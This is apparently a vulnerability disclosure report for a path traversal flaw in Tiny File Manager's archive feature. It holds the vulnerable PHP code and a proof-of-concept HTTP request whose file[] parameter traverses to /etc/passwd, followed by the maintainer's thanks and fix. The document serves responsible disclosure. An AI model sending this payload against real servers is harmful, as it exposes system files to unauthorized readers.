Path Traversal - Archiving Files to Zip in prasathmani/tinyfilemanager

Valid

Reported on

Jan 12th 2023


Description

The Tiny File Manager pack files feature is vulnerable to path traversal, which allows an attacker to access files that reside outside the web document root directory. The vulnerability occurs as the "file" parameter is not sanitized properly, thus allowing a malicious user to input "../".

Vulnerable Code Snippet

// tinyfilemanager.php
if (isset($_POST['group'], $_POST['delete'], $_POST['token']) && !FM_READONLY) {

    if(!verifyToken($_POST['token'])) {
        fm_set_msg(lng("Invalid Token."), 'error');
    }

    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    $errors = 0;
    $files = $_POST['file'];
    if (is_array($files) && count($files)) {
        foreach ($files as $f) {
            if ($f != '') {
                $new_path = $path . '/' . $f;
                if (!fm_rdelete($new_path)) {
                    $errors++;
                }
            }
        }
        if ($errors == 0) {
            fm_set_msg(lng('Selected files and folder deleted'));
        } else {
            fm_set_msg(lng('Error while deleting items'), 'error');
        }
    } else {
        fm_set_msg(lng('Nothing selected'), 'alert');
    }

    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Pack files
if (isset($_POST['group'], $_POST['token']) && (isset($_POST['zip']) || isset($_POST['tar'])) && !FM_READONLY) {

    if(!verifyToken($_POST['token'])) {
        fm_set_msg(lng("Invalid Token."), 'error');
    }

    $path = FM_ROOT_PATH;
    $ext = 'zip';
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    //set pack type
    $ext = isset($_POST['tar']) ? 'tar' : 'zip';


    if (($ext == "zip" && !class_exists('ZipArchive')) || ($ext == "tar" && !class_exists('PharData'))) {
        fm_set_msg(lng('Operations with archives are not available'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    $files = $_POST['file'];
    if (!empty($files)) {
        chdir($path);

        if (count($files) == 1) {
            $one_file = reset($files);
            $one_file = basename($one_file);
            $zipname = $one_file . '_' . date('ymd_His') . '.'.$ext;
        } else {
            $zipname = 'archive_' . date('ymd_His') . '.'.$ext;
        }

        if($ext == 'zip') {
            $zipper = new FM_Zipper();
            $res = $zipper->create($zipname, $files);
        } elseif ($ext == 'tar') {
            $tar = new FM_Zipper_Tar();
            $res = $tar->create($zipname, $files);
        }

        if ($res) {
            fm_set_msg(sprintf(lng('Archive').' <b>%s</b> '.lng('Created'), fm_enc($zipname)));
        } else {
            fm_set_msg(lng('Archive not created'), 'error');
        }
    } else {
        fm_set_msg(lng('Nothing selected'), 'alert');
    }

    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

By analyzing the snippet above, it was found that the file parameter is not sanitized at all, thus allowing a malicious user to archive files outside web server root directory

Proof of Concept

  1. Login to the Tiny File Manager web
  2. Zip any available files within the server and intercept the request
  3. Modify the value of "file[]" parameter to archive /etc/passwd file and send the request below to the server
    POST /tinyfilemanager-2.5.0/tinyfilemanager.php?p=tinyfilemanager-2.5.0 HTTP/1.1
    Host: 127.0.0.1
    Content-Length: 164
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    Origin: http://10.0.0.227
    Content-Type: application/x-www-form-urlencoded
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Referer: http://10.0.0.227/tinyfilemanager-2.5.0/tinyfilemanager.php?p=tinyfilemanager-2.5.0
    Accept-Encoding: gzip, deflate
    Accept-Language: en-US,en;q=0.9
    Cookie: mw-back-to-live-edit=true; show-sidebar-layouts=0; remember_web_59ba36addc2b2f9401580f014c7f58ea4e30989d=1%7CK6MPHnavSTmXhj0JKm32q7ex1mKEzqs973oqJdyYnY4hOzXQen4bQV2GLkOS%7C%242y%2410%24T13ox.SlaACz4PnhVoyxE.r2IcD5KtoKHr78BDGqpg98BiUNPVizW; back_to_admin=http%3A//10.0.0.227%3A9000/admin/view%3Amodules/load_module%3Afiles; phpwcmsBELang=en; filemanager=a7jpask2ohirgu4u4bcogjpc7v
    Connection: close
    
    p=tinyfilemanager-2.5.0&group=1&token=4cad8726b053082009152234d9db1aa54125c8ff6939bd7e4341e34fe4e63495&file%5B%5D=..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&zip=zip
    
  4. A zip file that contains "passwd" file should be created. Unzip the file, then the "passwd" file should be available within the web server

Impact

The successful exploitation of the Path Traversal vulnerability can give an attacker access to files they normally wouldn't have access to.

We are processing your report and will contact the prasathmani/tinyfilemanager team within 24 hours. 3 months ago
We have contacted a member of the prasathmani/tinyfilemanager team and are waiting to hear back 3 months ago
Prasath Mani
2 months ago

Maintainer


Great work @minghongg 👌 Could you kindly propose/submit a fix for this vulnerability? Any help is appreciated.

minghongg submitted a
2 months ago
minghongg
2 months ago

Researcher


Hi, I've submitted the fix, kindly check the link above. Thanks!

Prasath Mani
2 months ago

Maintainer


@minghongg, can you please create a PR.

minghongg
2 months ago

Researcher


@prasathmani Done, please check it

minghongg modified the report
2 months ago
Prasath Mani validated this vulnerability 2 months ago
minghongg has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
Prasath Mani gave praise 2 months ago
Thanks for the quick patch.
The researcher's credibility has slightly increased as a result of the maintainer's thanks: +1
Prasath Mani marked this as fixed in 2.5.0 with commit ae8ee6 2 months ago
minghongg has been awarded the fix bounty
This vulnerability will not receive a CVE
Prasath Mani published this vulnerability 2 months ago
minghongg
2 months ago

Researcher


@admin @prasathmani Could you assign a CVE for this vulnerability? Thank you in advance

to join this conversation